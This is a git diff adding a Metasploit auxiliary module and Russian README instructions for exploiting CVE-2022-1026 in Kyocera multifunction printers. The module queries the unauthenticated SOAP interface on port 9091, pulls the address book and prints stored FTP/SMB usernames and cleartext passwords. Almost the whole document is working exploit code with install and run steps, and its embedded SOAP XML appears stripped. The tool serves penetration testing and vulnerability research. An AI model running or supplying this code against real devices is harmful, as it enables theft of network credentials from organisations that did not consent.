diff --git a/README.md b/README.md index 0c686c4..0fae9e7 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,26 @@ python3 getKyoceraCreds.py 10.0.0.10 -o result.txt (имя, email, FTP/SMB серверы, логины и пароли, если заданы). Обнаруженные пароли дополнительно подсвечиваются в выводе, а при использовании `-o/--output` все сообщения дублируются в указанный файл. +## Metasploit module +Файл `kyocera_address_book.rb` содержит вспомогательный модуль Metasploit, +повторяющий логику исходного скрипта. Чтобы воспользоваться им, поместите файл в +`modules/auxiliary/gather/` и загрузите в `msfconsole`: +```bash +# Быстрая установка через curl (Linux/macOS) +mkdir -p ~/.msf4/modules/auxiliary/gather/ +curl -sL https://raw.githubusercontent.com/krolchonok/getKyoceraCreds.py/main/kyocera_address_book.rb -o ~/.msf4/modules/auxiliary/gather/kyocera_address_book.rb + +# Или вручную +cp kyocera_address_book.rb $MSF_ROOT/modules/auxiliary/gather/ +msfconsole -q +use auxiliary/gather/kyocera_address_book +set RHOSTS 10.0.0.10 +run +``` + +Модуль автоматически создаёт экспорт адресной книги через SOAP, ждёт его готовности, +загружает результат, сохраняет XML в loot и выводит найденные учётные данные или +распарсенные записи адресной книги. diff --git a/kyocera_address_book.rb b/kyocera_address_book.rb new file mode 100644 index 0000000..84b5133 --- /dev/null +++ b/kyocera_address_book.rb @@ -0,0 +1,214 @@ +# frozen_string_literal: true + +# Kyocera address book credential extraction for Metasploit +# +# This module recreates the behavior of the standalone getKyoceraCreds.py script +# and allows operators to run it directly inside msfconsole. +# +# References: +# * CVE-2022-1026 +# * https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/ + +require 'msf/core' +require 'rexml/document' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kyocera Address Book Disclosure (MSF)', + 'Description' => %q{ + Extracts sensitive information (email addresses, SMB/FTP credentials) from + vulnerable Kyocera MFPs via the unauthenticated SOAP interface on TCP/9091. + The module mirrors the original getKyoceraCreds.py proof of concept and + retrieves the full address book, highlighting cleartext credentials when + present. + }, + 'Author' => [ + 'ushastoe', + 'Aaron Herndon', + 'ac3lives', + 'fatalesp', + ], + 'References' => [ + ['CVE', '2022-1026'], + ['URL', 'https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/'] + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'SSL' => true } + ) + ) + + register_options( + [ + Opt::RPORT(9091), + OptString.new('TARGETURI', [true, 'SOAP endpoint', '/ws/km-wsdl/setting/address_book']), + OptInt.new('WAIT', [true, 'Seconds to wait for address book creation', 5]) + ] + ) + end + + def run_host(ip) + vprint_status("Connecting to #{ip}:#{rport} ...") + enumeration = request_enumeration + return unless enumeration + + sleep datastore['WAIT'] + request_address_book(enumeration) + end + + private + + def soap_body(action, payload) + <<~XML + + + + #{action} + + #{payload} + + XML + end + + def request_enumeration + action = 'http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration' + payload = '25' + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri), + 'method' => 'POST', + 'ctype' => 'application/soap+xml', + 'data' => soap_body(action, payload) + ) + + unless res&.code == 200 + print_error("#{peer} - Unexpected response when requesting enumeration (HTTP #{res&.code || 'No Response'})") + return nil + end + + enumeration = res.body.to_s[/<[^>]*enumeration>([^<]+)<\/[^>]*enumeration>/, 1] + unless enumeration + print_error("#{peer} - Failed to parse enumeration token from response") + vprint_error(res.body) + return nil + end + + print_status("#{peer} - Received address book object #{enumeration}; waiting for generation") + enumeration + end + + def request_address_book(enumeration) + action = 'http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list' + payload = "#{enumeration}" + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri), + 'method' => 'POST', + 'ctype' => 'application/soap+xml', + 'data' => soap_body(action, payload) + ) + + unless res&.code == 200 + print_error("#{peer} - Failed to retrieve address book (HTTP #{res&.code || 'No Response'})") + return + end + + doc = res.get_xml_document + unless doc + print_error("#{peer} - Unable to parse XML body from address book response") + return + end + + # Drop namespaces so we can use concise XPath lookups + doc.remove_namespaces! + + store_loot('kyocera.address_book.xml', 'text/xml', rhost, res.body, 'address_book.xml', 'Kyocera address book SOAP response') + report_results(doc) + end + + def credential_entries(doc) + interesting = %w[login_name user_name login_password email_address emailaddress] + entries = [] + + doc.xpath('//*').each do |element| + data = {} + element.element_children.each do |child| + key = child.name + next unless interesting.include?(key) + + data[key] = child.text&.strip + end + entries << data unless data.empty? + end + + entries + end + + def text_at(element, path) + element.at_xpath(path)&.text&.strip + end + + def parsed_addresses(doc) + addresses = [] + doc.xpath('//personal_address').each do |addr| + addresses << { + id: text_at(addr, 'name_information/id'), + name: text_at(addr, 'name_information/name'), + furigana: text_at(addr, 'name_information/furigana'), + email: text_at(addr, 'email_information/address'), + ftp_server: text_at(addr, 'ftp_information/server_name'), + ftp_port: text_at(addr, 'ftp_information/port_number'), + ftp_login: text_at(addr, 'ftp_information/login_name') || text_at(addr, 'ftp_information/user_name'), + ftp_password: text_at(addr, 'ftp_information/login_password'), + smb_server: text_at(addr, 'smb_information/server_name'), + smb_port: text_at(addr, 'smb_information/port_number'), + smb_login: text_at(addr, 'smb_information/login_name') || text_at(addr, 'smb_information/user_name'), + smb_password: text_at(addr, 'smb_information/login_password') + } + end + + addresses.reject { |entry| entry.values.all?(&:nil?) } + end + + def report_results(doc) + entries = credential_entries(doc) + if entries.any? + print_good("#{peer} - Found #{entries.length} credential-containing entries") + entries.each_with_index do |entry, idx| + print_good(" [Entry #{idx + 1}]") + entry.each do |key, value| + next unless value + + label = key.downcase.include?('password') ? "#{key}: #{highlight_password(value)}" : "#{key}: #{value}" + print_good(" #{label}") + end + end + end + + addresses = parsed_addresses(doc) + return unless addresses.any? + + if entries.empty? + print_status("#{peer} - No explicit credentials found; displaying parsed address book entries") + end + + addresses.each_with_index do |addr, idx| + print_status(" [Contact #{idx + 1}]") + addr.each do |key, value| + next if value.nil? || value.empty? + + label = key.to_s.downcase.include?('password') ? "#{key}: #{highlight_password(value)}" : "#{key}: #{value}" + print_status(" #{label}") + end + end + end + + def highlight_password(value) + datastore['ConsoleDriver'] ? "\e[91m!! ПАРОЛЬ: #{value} !!\e[0m" : "!! ПАРОЛЬ: #{value} !!" + end +end